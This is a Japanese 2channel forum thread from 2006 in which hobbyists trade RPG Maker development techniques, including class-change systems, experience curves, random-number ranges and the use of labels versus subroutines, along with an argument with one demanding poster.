-RPGツクール総合スレッド@製作技術(Part10)-
レス数が1000を超えています。これ以上書き込みはできません。
0001ツクレナーイ
2006/10/09(月) 13:29:40ID:6nugrYnEそれ以外の雑談などは同人ゲーム板の該当スレッドでお願いします。
【注意】
−基本的にsage進行で。
−質問をする時は、書き込む前に必ず説明書やヘルプに目を通すこと。
また、可能な限り前スレも参照、検索をしたのち、
どうしてもわからなかった場合にのみ質問をして下さい。
※特にRPGツクール2000は付属のヘルプが非常に充実しています。
−自分本位な質問は慎むこと。
「サイドビュー戦闘の作り方教えて下さい!」といった漠然とした
質問には、回答者も適切な回答を示すことができません。
「〜を〜して、〜してみたがうまくいかない、どうすればいいか」という風に、
過程と現在陥っている問題点を具体的に書き込むようにしましょう。
あなたの質問に答えてくれる人達のことを考えて。
−まあなにはともあれ、マターリホノボーノで楽しくやっていきましょう。
言うまでもないことですが、荒らしや煽り・タナ厨や腐女子は放置です。
−次スレは>>980が建てること。
前スレ
-RPGツクール総合スレッド@製作技術(Part9)-
http://pc8.2ch.net/test/read.cgi/gamedev/1153996333/
0002名前は開発中のものです。
2006/10/09(月) 15:19:40ID:EVlrvBkU>1乙
0003タナ栗粉 ◆8Tdr0tD9Mk
2006/10/09(月) 15:51:55ID:LPCU5qo0それを使うとHP消費や複数回攻撃などの属性作ってスキルに組み込めば技をHP消費にしたり複数ヒットにしたりできるはずなんだが何も起こらない
スクリプトシェルフではサービスが停止してて質問もできんだから教えてくれ、どこに挿入すればいいの?どうすればつかえるの?教えてください!お願いします!!
0004名前は開発中のものです。
2006/10/09(月) 15:56:59ID:6nugrYnEそれともツールとかスクリプト、素材も網羅した
総合デザインブログ作るとか。
需要あるなら作ってもいいけどなー
0005名前は開発中のものです。
2006/10/09(月) 16:10:57ID:zRghA9+80006名前は開発中のものです。
2006/10/09(月) 18:56:26ID:oZSU4GTfあった方がいいんじゃないか?
フリー素材を扱ってるサイトの一覧なんかもあると嬉しいが。
ところでツクール用の顔グラ描いてるけどパレットの編集とかがしやすいお勧めのソフトない?
00076
2006/10/09(月) 19:12:24ID:oZSU4GTf0008名前は開発中のものです。
2006/10/10(火) 02:18:08ID:5y1EtsdF0009名前は開発中のものです。
2006/10/10(火) 08:32:29ID:z9X2tVrXと、思ったが転職したらレベル1に戻るを再現するのは難しいか?
0010名前は開発中のものです。
2006/10/10(火) 09:29:35ID:79Jcf6ep転職するとき
1.どの技能が使用できるかをスイッチか変数で管理
2.転職前の最大HPを半分にした数値と、転職後のレベル1の最大HPの差Aを求める(これをステータスの分行う)
3.レベル1の別職業にメンバー入れ替え
4.使用可能な技能を覚える
5.能力の増減で最大HPに数値Aを加える(これをステータスの分行う)
これで、ドラクエ3風の転職ができるんじゃないかな?
0011名前は開発中のものです。
2006/10/10(火) 19:24:11ID:MnsVy6spコモンイベントでそのキャラのレベルを監視させる。
レベルが動いた瞬間に職業別にパラメータ上げたり
技覚えさせたりのレベルアップ処理、
てのはダメか?
…職業ごとに装備可能アイテムが変わる、てのはできなくなるが。
0012名前は開発中のものです。
2006/10/10(火) 20:50:25ID:NdImpbrtレスサンクス
やっぱ結構難しそうだな
とりあえず試してみる
0013名前は開発中のものです。
2006/10/11(水) 05:29:52ID:Zgd+c5og0014名前は開発中のものです。
2006/10/11(水) 10:23:21ID:MU0RMmQE作りやすいというわけではない
0015名前は開発中のものです。
2006/10/11(水) 10:39:33ID:PcTS5nOh・主人公のレベルもイベントコマンドで変えられる
ので、人数×職業の主人公作って、転職時に別の主人公にレベルを写すのは大して難しくないと思われる。
これだと装備も変えられるし。
むしろ特殊技能写すのがめんどくさそう。条件分岐でしか拾えなかったっけ?
0016名前は開発中のものです。
2006/10/11(水) 10:46:45ID:8y9lwQecレベルダウンって実行できたっけ?
0017名前は開発中のものです。
2006/10/11(水) 12:05:25ID:a4usy+vEDQ3に拘らなければ>>15の方が楽だな。
特殊能力は条件分岐でチマチマやってくしかないかな。
まあ、1回コモンで作ればあとは流用できる。
聖剣3のクラスチェンジ風なら、ずっと楽だけど自由度は下がるな。
>>16
レベルの増減できるよ。
0018名前は開発中のものです。
2006/10/11(水) 14:11:55ID:PcTS5nOh「何も装備してない」の判定って出来たっけ?
0019名前は開発中のものです。
2006/10/11(水) 17:19:19ID:vxFgPk3A> 1-755 : ◆LpijS2RXds :2006/07/25(火) 05:39:40 ID:QHsM5UKq0
> お久しぶり。
> まあ、様子見ながらROMってただけだが。
> 何とかスレ全体の方針の目途は立ってきたみたいだな。
>
> 前にも言ったが、3式の転職の実装は簡単にできるよ。
> システムの実装によって、作品の方向性が限定されてしまうのだけは避けたいし。
> 一応、眠い目をこすりながら30分くらいで、
> 転職がどんな風な感じなのか分かるテストを作ってみた。
http://2nd.geocities.jp/tkooldraque/sample/t-001.zip
↑
きっちりと、ドラクエ3の転職が再現されている。
0020名前は開発中のものです。
2006/10/11(水) 19:05:52ID:41HR+TnUもったいねえ
0021名前は開発中のものです。
2006/10/11(水) 19:43:47ID:QnoE2WUo0022名前は開発中のものです。
2006/10/11(水) 22:34:16ID:ChwTx4/6レベルアップのときのHPや力とかの成長値って調整されてなかったっけ
例えば魔法使いから賢者に転職した場合
賢さが最初から高いから、レベル低いうちはレベルアップしても賢さがあまり成長しないとか
そんな感じ
まあそんな細かいところは無視してもいいと思うけど
普通に能力値999のキャラ作れてもつまらんでしょ
0023名前は開発中のものです。
2006/10/11(水) 23:47:57ID:v2mXemULうん。最終的な能力値が一定になるように調節されるはず。
でもステータス半減方式でも
ちょっと考えれば分かると思うけど
能力値を無限に上げられるわけではないよ。
0024名前は開発中のものです。
2006/10/12(木) 00:32:43ID:dvXa0/plこういう人物は格好良いと思うね。
何者なんだろう…
そこらの無能とは全然違う、それは確かだと思うのだが。
名作と呼ばれるような物を作った人物が、適当に遊んでるのだと思うけどね。
0025名前は開発中のものです。
2006/10/12(木) 00:56:37ID:41dvoxZHノ
0026名前は開発中のものです。
2006/10/12(木) 01:03:02ID:8SO00S0dhttp://www.frgm.org/cgi-bin/rpg/262.phpやhttp://www.frgm.org/cgi-bin/rpg/197.phpの
転職システムも参考になるんじゃない?
0027名前は開発中のものです。
2006/10/12(木) 01:07:20ID:V0Hgu27G0028名前は開発中のものです。
2006/10/12(木) 07:02:55ID:4AwHl4hR0029名前は開発中のものです。
2006/10/12(木) 09:00:28ID:uFU20e+S0030名前は開発中のものです。
2006/10/12(木) 09:13:50ID:WQ2KEnTQ0031名前は開発中のものです。
2006/10/12(木) 17:44:52ID:ixw2HvMd転職してもステータスだけ弄ればいいんだから楽じゃないか。
0032名前は開発中のものです。
2006/10/12(木) 20:39:44ID:eyle76PC0033名前は開発中のものです。
2006/10/12(木) 22:52:54ID:vx3iM+AZ0034名前は開発中のものです。
2006/10/12(木) 23:57:19ID:Ijb9ex/5てかそれが分からないんならぷろぐらむ組むの早いと思う
0035名前は開発中のものです。
2006/10/13(金) 02:15:53ID:/y9z+HeXほとんど製作者のオナニーになりがちだけど。
0036名前は開発中のものです。
2006/10/13(金) 05:07:46ID:aLV+bqjA新しい絵を描いてみたら
なぜか新しい絵のほうの背景が透過されないんだけども、なぜだろう?
色は同じなんだけども。
0037名前は開発中のものです。
2006/10/13(金) 07:48:45ID:3ECXslMv0038名前は開発中のものです。
2006/10/13(金) 08:57:19ID:/XvBPUQ+うはwwありがと
今までずっとインポートしたヤツコピペでマップチップやキャラチップ作って
問題なかったから自動的に一番左上でも自動的に透過色になってるんだと思ってた
ありがとう!
愛してる!
0039タナ栗粉
2006/10/13(金) 08:59:02ID:MrIZPn/s0040名前は開発中のものです。
2006/10/13(金) 09:00:24ID:G7MF//CMそのスクリプトによるんじゃないでしょうか?
色々と有るので答え難いと思います。
0041名前は開発中のものです。
2006/10/13(金) 09:22:35ID:/y/pzaWFレベルアップに必要な経験値を自分で設定したいんだけど、
どうもうまい式が思いつかないのでいい計算式持ってたら教えてください。
0042名前は開発中のものです。
2006/10/13(金) 09:27:21ID:/XvBPUQ+レベルアップしたら0にもどすでおk
0043名前は開発中のものです。
2006/10/13(金) 10:25:23ID:s9OzEQNLがんばっても決まったレベルまで上がったらそれ以上上がらないわけだし。作業的な気がする。
経験値1しかもらえない敵を延々倒すわけにもいかんし。
SRPGやアクションRPGだったらそれも有りかも知れんが。
0044名前は開発中のものです。
2006/10/13(金) 14:04:09ID:tYUzQaGX変数に「レベルアップまでに必要な経験値」みたいなのを作っておいて、
経験値がその変数と同値に達したらレベルアップ。
レベルアップと同時にその変数を何%か上げるってのはどうだ
>>35
おまえ作者オナニーって言葉言いたかっただけじゃねーのかと
0045タナ栗粉
2006/10/13(金) 15:08:37ID:MrIZPn/sめちゃくちゃ言ってるのは解っていますが そのスクリプトさえ機能すればここには二度とこないつもりです
それは絶対に約束します だからそのスクリプトが使えるようにだれか検証してみてくださいよ
0046名前は開発中のものです。
2006/10/13(金) 15:27:50ID:cRYz2y6C0047名前は開発中のものです。
2006/10/13(金) 16:27:21ID:/y9z+HeX等比数列を勉強すればええやん
0048名前は開発中のものです。
2006/10/13(金) 17:01:18ID:9d+YPPbQa: Lv1の経験値
r: 次のLvに必要な経験の倍率
n: レベル
0049名前は開発中のものです。
2006/10/13(金) 17:31:37ID:fkwXLdgx0050名前は開発中のものです。
2006/10/13(金) 18:14:16ID:tYUzQaGX「^」ってなんだっけ。 バカでスマソ。
0051タナ栗粉
2006/10/13(金) 18:50:57ID:MrIZPn/s0052名前は開発中のものです。
2006/10/13(金) 18:50:58ID:aq+NG9OVべき乗。
0053名前は開発中のものです。
2006/10/13(金) 20:39:21ID:mlfUWDLUNG入れれば済む話だから。
で、自作戦闘で「現在のHPが最大HPの何%か?」を監視するイベントをコモンで組んでるんだが
ツクールの変数って小数使えないから
(現在HP÷最大HP)x100って感じの計算式が使えないから困る
小数対応くらいしてくんねーかなー。
0054名前は開発中のものです。
2006/10/13(金) 21:15:38ID:MrIZPn/s0055名前は開発中のものです。
2006/10/13(金) 21:32:07ID:vgN4ZWXC0056名前は開発中のものです。
2006/10/13(金) 21:37:55ID:tYUzQaGX変数依存
0057名前は開発中のものです。
2006/10/13(金) 22:09:55ID:Sg1N8bs80058名前は開発中のものです。
2006/10/13(金) 22:24:46ID:mlfUWDLUなるほど、そんなやり方もあったのね。
>>55
アイテムデータ作って個数判定とか変数でID判定とか。
自作は自由度こそ無限大だけど、効率良いやり方みつけないと作業量があっぷあぷ(゚ω。)
0059名前は開発中のものです。
2006/10/13(金) 22:29:56ID:LEhf4P1bそれって 現在HP×100÷最大HP じゃまずいの?
0060名前は開発中のものです。
2006/10/14(土) 00:57:42ID:dsBrK+3sここに載っている8方向移動を写してみたのですが、
主人公が通行不可のマップチップ(壁など)に当たると主人公の動作がとまってしまいます。
どこに原因があるのでしょうか?
0061名前は開発中のものです。
2006/10/14(土) 01:24:57ID:ROd8kOI6移動先のMAPIDが通行不可のマップチップだった場合、移動を無効にする処理を入れれば?
0062名前は開発中のものです。
2006/10/14(土) 04:18:03ID:jjiVVwupそれでもおk。ただMAX999でHP1とか2の時は0%になるから条件分岐で問題解決。
0063名前は開発中のものです。
2006/10/14(土) 08:34:13ID:r+DB6vZ3瞬間移動ではなく徒歩で移動させたいのですが
キャラクタの座標と移動させたい場所の座標の距離を計算させてやるしかないでしょうか?
0064名前は開発中のものです。
2006/10/14(土) 08:42:36ID:ErU78gTLめんどくさいだけでしょ?
0065名前は開発中のものです。
2006/10/14(土) 08:48:01ID:9PXmBAbv自分が見落としてるかもしれない方法があるか確認したいだけでしょ、
でも、>63の言うように計算して動かすしかないと思う。
別マップにある場所へ移動する場合はさらに面倒くさいだろうね、
でも実現すると結構おもしろい感じかもしれない。
0066名前は開発中のものです。
2006/10/14(土) 11:52:45ID:r+DB6vZ3ありがとうございました
なんとかがんばってみます
0067名前は開発中のものです。
2006/10/14(土) 14:11:14ID:YbJZAMjwでも障害物があることを想定すると、キツそうだね・・・
壁通り抜けてもいいんなら問題ないけど。
バグを回避したいんなら瞬間移動が無難かと。
ある程度移動シーンを見せてから、瞬間移動って手もある。
0068タナ栗粉
2006/10/14(土) 20:27:06ID:C/cL7mVK0069名前は開発中のものです。
2006/10/14(土) 20:40:42ID:9PXmBAbvうpしてもらわないと誰も原因なんか判らんと思うよ。
0070名前は開発中のものです。
2006/10/14(土) 23:49:33ID:DWBDWVSO0071名前は開発中のものです。
2006/10/15(日) 06:28:17ID:VmUP18+/どこにどううpしてここに貼ればいいですか?
0072名前は開発中のものです。
2006/10/15(日) 08:07:40ID:IKSEue750073名前は開発中のものです。
2006/10/15(日) 11:48:39ID:BVAbOuodどこでもいいからうpしてURLを貼る
0074名前は開発中のものです。
2006/10/15(日) 18:32:32ID:ztdEBXNO0075名前は開発中のものです。
2006/10/15(日) 22:03:25ID:0oPnWL+00076タナ栗粉
2006/10/15(日) 22:35:35ID:wCTkDPddつうかスクリプトシェルフで俺が言ってるスクリプト拾ってきて検証してくださいよ
0077予言士
2006/10/15(日) 22:55:07ID:TjxHm4WQ0078名前は開発中のものです。
2006/10/15(日) 23:04:13ID:rxe5ea1cまあ、高い買い物だったね。お気の毒。
0079名前は開発中のものです。
2006/10/16(月) 00:25:24ID:XjJiBwBQうpしたくないなら、件のスクリプト見ながら自分で組むのもいい勉強になるよ
お手本があるんだから1から自分で組んでみたら?
0080名前は開発中のものです。
2006/10/16(月) 07:21:27ID:46wxgNLIただ俺が使い方解ってないだけだと思うから
だから教えてくださいよ
0081名前は開発中のものです。
2006/10/16(月) 08:18:25ID:GLA3ICdT0082名前は開発中のものです。
2006/10/16(月) 08:20:15ID:GLA3ICdT0083名前は開発中のものです。
2006/10/16(月) 09:06:59ID:oCeNJzfbこのスレにはおそらく、きみのような人のために時間をかけられる人はいない。
「オレの時間節約のために、おまえらが時間かけろ」などという人には。
はい、しゅうりょー。おつかれさまでした。
0084タナ栗粉
2006/10/16(月) 11:33:41ID:46wxgNLI0085名前は開発中のものです。
2006/10/16(月) 11:50:39ID:BqTzXZpM0086名前は開発中のものです。
2006/10/16(月) 12:57:41ID:Ah3R50anつかXP知らんけど、こんなところでぐだぐだ聞いてる間に自分で組みなおせると思う
時間ないんならやめりゃいいのに
0087名前は開発中のものです。
2006/10/16(月) 13:11:42ID:O/xeS/bm0088タナ栗粉
2006/10/16(月) 13:24:36ID:46wxgNLI0089名前は開発中のものです。
2006/10/16(月) 14:04:48ID:PPbpYcIUツクールスレのアレだな。
精神的攻撃ですべての努力を否定し、自我自暴に追い込み
大きな喪失感と絶望感でモニターも前の誰かを苦しませる。
卑劣な連中だよまったく…
0090名前は開発中のものです。
2006/10/16(月) 14:32:13ID:tkBQIifXただ今回の場合はどうみてもタナの方がアレだぞ
0091タナ栗粉
2006/10/16(月) 14:44:45ID:46wxgNLIあ?俺がこんなに下手にでてやってんだからとっとと言うとおりにすればいいんだよ あ?
んなめんどくせえことじゃねえだろうが!ちょっとスクリプトシェルフ行って俺が拾ってきたスクリプトと同じの拾って、どこに挿入するとか使い方を調べてくれればいいってんだよ!
がたがた戯言ぬかしやがって あ?
0092名前は開発中のものです。
2006/10/16(月) 15:31:58ID:x/m85sj0それだけなら自分でやればいいと思う。
文字で凄んでも誰も従ってはくれないし、
自ら努力をしない者に与えられるものは何もない。
0093名前は開発中のものです。
2006/10/16(月) 16:05:55ID:KhanydxGプログラムも見ずになおしてくださいっ!><;
は物理的にムリだよ
0094名前は開発中のものです。
2006/10/16(月) 16:16:35ID:VLZnspPAスクリプトの使い方が解らない時点で使うのやめといた方がいいよ。
仮に使い方解っても絶対後で別の問題で躓くから。
結局最後は自分で何とかするしかなくなると思う。
そもそもRGSS使っても所詮はデフォルト戦闘だしなぁ。
フリーの何本かやってみたけどデフォ戦はやっぱつまらんよ。
RGSSデフォ戦に組み込む位ならコモンイベントで完全自作。これ。
手間はかかるけどうまく動いた時は嬉しいぜ。
0095名前は開発中のものです。
2006/10/16(月) 22:38:32ID:oCeNJzfb努力が聞いてあきれる。
>>94
RGSSで完全自作の方が早いな。
0096名前は開発中のものです。
2006/10/16(月) 23:10:41ID:k80lJlv3手本まで見てるなら、
・何をやりたいか
・どういうときにそれが起きるのか
・そのためには何をどうすればいいか
まで考えればいけるはず。
RGSSの基本が分かるなら、
全文をテキストファイルに保存して、
変数、処理や分岐に片っ端から、何をやってるかのコメントを入れるといいと思う。
そんな事やってるうちに実力も後からついてくる。
キレてる暇があったら、短い奴からやってみれ。
0097名前は開発中のものです。
2006/10/16(月) 23:38:40ID:n40Z9El80098名前は開発中のものです。
2006/10/17(火) 15:38:54ID:aVIAU51vXRXS. 付加属性名判定は入れたか?
XRXS. 装備属性取得機構も入れたか?
他にどのサイトの何てスクリプトも入れてるか全部書きあげろ。
そんんじゃ^^
0099名前は開発中のものです。
2006/10/17(火) 16:30:27ID:Q6++07DIあのコテや、ロクに作る気もない奴になら言ってもいいかも知れんが、
本気で作ってる奴にはその言葉を投げるなと言いたいんだよ。
つーか、いい加減この流れを見させられる者の身にもなってくれ。
それはそうと、
別に俺は今騒いでるコテを擁護してるワケではないんだが。
0100名前は開発中のものです。
2006/10/17(火) 16:54:26ID:8kGLFkVJそういうヤツが現れて質問してすげなくあしらわれたときに言えよ>本気でツクってるヤツ
なんでこのタイミングなんだ?
このタイミングじゃ擁護してるようにしか見えないだろが。
0101名前は開発中のものです。
2006/10/17(火) 17:37:46ID:c/rWfENLん、まあ、来ただけで何もしないんだが。
0102名前は開発中のものです。
2006/10/17(火) 19:05:45ID:aVIAU51v0103タナ栗粉
2006/10/17(火) 19:42:26ID:BYQJHMw1ちなみに俺かなり忍耐強いから100パー完成させるから
0104名前は開発中のものです。
2006/10/17(火) 20:21:22ID:ojrWGF9w0105タナ栗粉
2006/10/17(火) 20:24:45ID:BYQJHMw10106名前は開発中のものです。
2006/10/17(火) 20:36:14ID:wMJX2/Mn0107名前は開発中のものです。
2006/10/17(火) 20:41:20ID:aVIAU51v熱くお楽しみください
0108タナ栗粉
2006/10/17(火) 20:42:54ID:BYQJHMw1"おまえたち"だけで共有したらいい
0109名前は開発中のものです。
2006/10/17(火) 20:56:39ID:ojrWGF9w0110タナ栗粉
2006/10/17(火) 20:57:51ID:BYQJHMw1俺を除く全て!
0111名前は開発中のものです。
2006/10/17(火) 21:04:16ID:Kpolp3Tj0112タナ栗粉
2006/10/17(火) 21:12:23ID:BYQJHMw10113名前は開発中のものです。
2006/10/17(火) 21:13:56ID:YwK/XFZx乱数を発生させる際、変数xと変数yの間の乱数を得たい時はどうすればいいのでしょうか?
たとえば、x=10 y=30の時だったら、10〜30の間で乱数を発生させる場合。
当然、xとyは固定値ではありません。
0114名前は開発中のものです。
2006/10/17(火) 21:25:16ID:GWj/5hmS残念ながら2000では変数を用いた乱数はできないんだ(´・ω・`)
0115名前は開発中のものです。
2006/10/17(火) 21:36:58ID:YIwE4b7L2.変数R = 乱数0〜100
3.変数Z = 変数Z * 変数R
4.変数Z = 変数Z / 100
5.変数Z = 変数Z + 変数X
1で差分を求める (変数X=10, 変数Y=30 の場合は 20)
2,3,4で差分内の乱数を作成 (0〜20の乱数を作成)
5で最小の数を加算(0〜20 + 10 = 10〜30)
どうかな?
間違えてたら恥ずかしくて死ぬ
0116名前は開発中のものです。
2006/10/17(火) 21:46:06ID:GWj/5hmS乙っぱい
0117名前は開発中のものです。
2006/10/17(火) 21:52:10ID:YwK/XFZx理論上、問題ないと思いますが試してみます。
0118名前は開発中のものです。
2006/10/17(火) 23:40:50ID:5W9bXmF20119名前は開発中のものです。
2006/10/18(水) 00:28:06ID:gFx9Ww/i数学致命的だった私でもできるから基本的に関係ない
プログラムなんざアルゴリズムがわかりゃ
あとはその通りになるよう組み合わせていくだけだし
0120名前は開発中のものです。
2006/10/18(水) 00:55:59ID:MA/TSC86RPG作るぐらいなら算数でおけ。
0121名前は開発中のものです。
2006/10/18(水) 05:14:06ID:UE9R3Wg3プログラムってのはつまりコンピューターとの対話。
確かに理系の知識とか感覚が必要な部分も多いけど、文章力も重要だと思う。
コンピューターは「ウィンドウ作ってあれ表示しろ」じゃ動いてくれない。
ちゃんと具体的に「縦と横が〜のサイズのウィンドウを作って、その中のこの位置に所持金を表示しろ」としなきゃあダメなのよ。
これをどれだけ細かく書けるかが、目的への近道になると俺は思う。
これが疎かだと、いくら数字に強くても目的は恐らく果たせない。
実際漏れがそうだしorz
始めるんなら、最初は実際のプログラムのごくごく簡単な部分(数値計算とか)の日本語訳からをオヌヌメ。
0122名前は開発中のものです。
2006/10/18(水) 10:46:14ID:hfjGWV2r0123名前は開発中のものです。
2006/10/18(水) 17:27:52ID:WJJGxANL0124名前は開発中のものです。
2006/10/18(水) 17:37:45ID:IKroAbr80125名前は開発中のものです。
2006/10/18(水) 17:38:45ID:IKroAbr80126名前は開発中のものです。
2006/10/18(水) 22:07:08ID:NFNyD6nGRGSSじゃなくても、やってることはプログラミングなんだよ。
0127名前は開発中のものです。
2006/10/18(水) 23:59:54ID:Tth9vLSWツクールって要は既に組んであるプログラムを呼び出して実行してるわけだろうし。
0128名前は開発中のものです。
2006/10/19(木) 00:07:57ID:0lIvW1oZ宝箱のメッセージを変えたくなった
シンボルエンカウントを作ったけど、後々バグが見つかった
→全マップに配置したイベントそれぞれを修正しないと・・・
みたいなのは辛いぞ〜
0129名前は開発中のものです。
2006/10/19(木) 00:08:22ID:uV938WVd0130名前は開発中のものです。
2006/10/19(木) 00:13:19ID:qcuuZ+C4サブを上手く使うとか、
まぁ、細かいテクニックはあるよね
0131名前は開発中のものです。
2006/10/19(木) 07:37:27ID:16O3nvC+意識しないからだめじゃね?
0132名前は開発中のものです。
2006/10/19(木) 11:45:20ID:l3Sb++qR0133名前は開発中のものです。
2006/10/19(木) 11:48:20ID:cWMFEmXK0134名前は開発中のものです。
2006/10/19(木) 13:37:39ID:/DMXpHrvまぁ、変数・判定・計算・条件分岐・ラベル があればナントカなるよね
0135名前は開発中のものです。
2006/10/19(木) 14:56:35ID:16O3nvC+0136名前は開発中のものです。
2006/10/19(木) 15:01:00ID:/DMXpHrv0137名前は開発中のものです。
2006/10/19(木) 15:49:25ID:cWMFEmXK0138名前は開発中のものです。
2006/10/19(木) 15:56:41ID:F83jXOgg0139名前は開発中のものです。
2006/10/19(木) 16:10:32ID:16O3nvC+計算と判定が同じなんだ。分岐とラベルジャンプも同じ。
なので変数、演算、分岐の三つ。
0140名前は開発中のものです。
2006/10/19(木) 16:12:24ID:16O3nvC+0141名前は開発中のものです。
2006/10/19(木) 17:27:50ID:KAl31B49キャンセルボタンが押しっぱなしみたいな形になってしまって
キャンセルボタンが使えなくなってるんだが
Altを押しっぱなしにしてると直るんだけど
ずっと押しっぱなしってわけにもいかないし
これと同じになった人いない?
0142名前は開発中のものです。
2006/10/19(木) 17:30:08ID:I7jG1Ukv0143名前は開発中のものです。
2006/10/19(木) 17:43:30ID:qHwjsKIf分岐とラベルジャンプはまったく別物だと思うけど。
だって分岐とは全然違うところに設置するからラベルなんじゃないの?
計算と判定が同じってのもワカラン
>>142
私はその処理を強制終了するのにつかったり、
その処理を何度も繰り返したりするのに使ってる
0144名前は開発中のものです。
2006/10/19(木) 17:47:11ID:cWMFEmXKマニュアルのイベント作成の例でハイって答えるまでループするイベンとで使ってなかったけ?
条件分岐で条件に合わない場合もう一度選択肢に戻ったりする時によく使うんだけど。
0145名前は開発中のものです。
2006/10/19(木) 18:05:12ID:l3Sb++qR分岐の数が多かったり、分岐の中身が長い場合にも使ってるな。
条件によって会話が色々かわるときとか、分岐命令のなかに長文書いて訳わかんなくなるのを防止。
条件分岐
満たされた場合
ラベル1へ飛ぶ
満たされなかった場合
イベント中断
ラベル1
文章「むかしむかしあるところに・・・」
0146名前は開発中のものです。
2006/10/19(木) 18:16:48ID:I7jG1Ukv0147名前は開発中のものです。
2006/10/19(木) 19:08:51ID:qHwjsKIf>分岐命令のなかに長文書いて訳わかんなくなるのを防止。
そういう場合は私はサブ作っちゃうな
とにかく、長くなりそうだったら別の場所にイベントつくって呼び出しにしてる
一区切りの処理が1画面内に入らない場合は大抵外に出しちゃう
0148名前は開発中のものです。
2006/10/19(木) 20:28:56ID:c/9yAQYLラベルは極力使わないほうがいい
条件分岐・くり返し処理・イベントの呼び出しだけで組むことを薦める
ラベルを使ったらすごく良い感じの処理を作れた!とかいうことになった場合、
イチからその処理を見直すべき
ちなみに145のような処理を組む場合はラベルではなく「イベントの呼び出し」を使いなさい
ラベルというかGOTO文は処理を無駄に複雑化する、バグの元
なにより美しくない
0149名前は開発中のものです。
2006/10/19(木) 20:56:24ID:y3QGAIPuプログラミング言語としては結構貧弱だから、上手に使って見易く分かりやすく
するための工夫としてなら、GOTOも使っていった方がいいよ。
なまじ普通のプログラミング言語を知ってると「GOTOは使っちゃいけない」と
(理由付きにしても)刷り込まれててGOTOに拒否反応が出るかもしれないけど、
言語が貧弱な場合は、ちゃんと自力で工夫する必要がある。GOTOはその
手段の一つとして有効だよ。
ただ、GOTOが便利だからといってなんでもかんでもGOTOで済ましていると、
「あれ、このGOTOはどういうつもりで使ってるんだ……?」って事態になるから、
GOTO以外の別の方法で簡単に実現できるなら、別の方法を使ったほうがいい。
0150名前は開発中のものです。
2006/10/19(木) 21:44:56ID:pddBhYe90151名前は開発中のものです。
2006/10/19(木) 21:48:59ID:imAyjdpj0152名前は開発中のものです。
2006/10/19(木) 21:50:17ID:EP/lh7Yn0153名前は開発中のものです。
2006/10/19(木) 21:55:23ID:51hERVZk0154名前は開発中のものです。
2006/10/19(木) 22:06:32ID:FVTiuD95それいらラベルに抵抗なくなった
0155名前は開発中のものです。
2006/10/19(木) 22:31:05ID:c/9yAQYL美しさ云々は説明のために言ったわけじゃないw
まあ冗談だ
でも冗談抜きで美しさを求めるのは大切だと思う
良い作品を作るため、じゃなくて、作る過程を楽しむため
ある程度ツクった自分の作品を見返すとき、
「俺の考えたキャラ最高じゃね?」とか「けっこう感動できるシナリオかも」とかじゃなくて
「美しく組めたなぁ!」ってニヤけるのは・・ちょっとネクラかもしれんけど
0156名前は開発中のものです。
2006/10/19(木) 22:50:52ID:y3QGAIPuこういうナルシズムのことではなくて、一切無駄の無いコードで
目的の機能が表現されているとか、明確に構造化されているだとか、
そういう「実際的に良いコード」に対する評価のことです。
いや、意味付けが普通と異なるからといって155をバカにしたい
わけではないんだが、普通は美しさというのは自己満足じゃなくて、
実際にコードの品質に関わる意味があって使われているから、
気をつけたほうがいいよ。
0157名前は開発中のものです。
2006/10/19(木) 22:57:21ID:T8SoFCUJメンテナンスがしやすく分かりやすくすっきりしている。
2年先に自分以外の誰かがみてもすぐに理解でき、修正が容易なプログラムは
正に美しいプログラムだと思うよ
0158名前は開発中のものです。
2006/10/19(木) 23:11:12ID:DvBTdNx10159名前は開発中のものです。
2006/10/19(木) 23:17:07ID:y3QGAIPu言わんので、おおむね157の言うとおりでOKだと思う。
0160名前は開発中のものです。
2006/10/19(木) 23:18:22ID:c/9yAQYL>目的の機能が表現されているとか、明確に構造化されているだとか、
>そういう「実際的に良いコード」に対する評価のことです。
そういうのも当然含めた上で「美しい」って言っているだよ
一体どんな勘違いしているんだか
0161名前は開発中のものです。
2006/10/19(木) 23:25:03ID:c/9yAQYL単に高速なコードを美しいとも言ってないぞ
具体的に言ったことは「GOTO文は処理を無駄に複雑化する、バグの元 なにより美しくない」だけだ
なんかスレが変な流れになっちゃったかな
ごめんね
0162名前は開発中のものです。
2006/10/19(木) 23:34:20ID:cWMFEmXKいちいちコモンにして毎回呼び出しなおす方が複雑化してバグの元って思うのが
プログラマーってものなのだろうか?
0163名前は開発中のものです。
2006/10/19(木) 23:43:10ID:y3QGAIPu無駄は省こう。
0164名前は開発中のものです。
2006/10/19(木) 23:45:00ID:DvBTdNx10165名前は開発中のものです。
2006/10/19(木) 23:50:37ID:c/9yAQYL145の処理でコモンを使うだなんて発想は逆立ちしても出てこないだろ
イベントを2ページに分けて、文章の表示処理を2ページ目に突っ込むとか
まあ2分岐程度の単純な処理ならラベルのほうが良いのか
0166名前は開発中のものです。
2006/10/19(木) 23:57:05ID:gFWY/k+Dたとえば全ての文章を5の速さで表示したいという場合、全ての文章で\S[5]と入力するしかなく、
一括で全ての文章の速度を設定することはできないのでしょうか
0167名前は開発中のものです。
2006/10/20(金) 01:01:32ID:2RxMgjWO0168名前は開発中のものです。
2006/10/20(金) 01:15:35ID:gImrVyjG俺は瞬間表示させるのが好みだから全部の行のはじめに\>入れてる
0169名前は開発中のものです。
2006/10/20(金) 01:50:50ID:ZJpR4WHE顧問イベントの並列処理で・・・って思いついて
\S[5]だけを入力した文章の表示を実行してみましたが
これだけでも文章欄が表示されてしまいますね
\S[5]\^でも、一瞬表示されてしまうのでだめでした
0170名前は開発中のものです。
2006/10/20(金) 07:18:56ID:MAMd7W4J\N[1]とかを全てのメッセージの頭につけて
メッセージ速度を変更するイベントで
該当する主人公の名前を\S[1]や\S[3]に変更
で一括変更できそうだが
面倒か…これじゃ。
0171名前は開発中のものです。
2006/10/20(金) 07:20:58ID:MAMd7W4J0172名前は開発中のものです。
2006/10/20(金) 08:03:51ID:5mMWg2MD0173名前は開発中のものです。
2006/10/20(金) 08:05:00ID:HdHztY5x0174名前は開発中のものです。
2006/10/20(金) 16:03:18ID:J9y+6N7+0175名前は開発中のものです。
2006/10/20(金) 16:14:22ID:12Jhg2Y4バグと糞仕様。
0176名前は開発中のものです。
2006/10/20(金) 16:50:16ID:tg4zgrwa自作戦闘作る気なら2003の方が融通が利くけどな。
2003でもコンパク金賞受賞とかあるし↓
ttp://www.vector.co.jp/games/soft/win95/game/se389257.html
結局は使い方さえ心得てれば所詮は道具。
0177名前は開発中のものです。
2006/10/20(金) 17:18:04ID:c2iNmZu00178名前は開発中のものです。
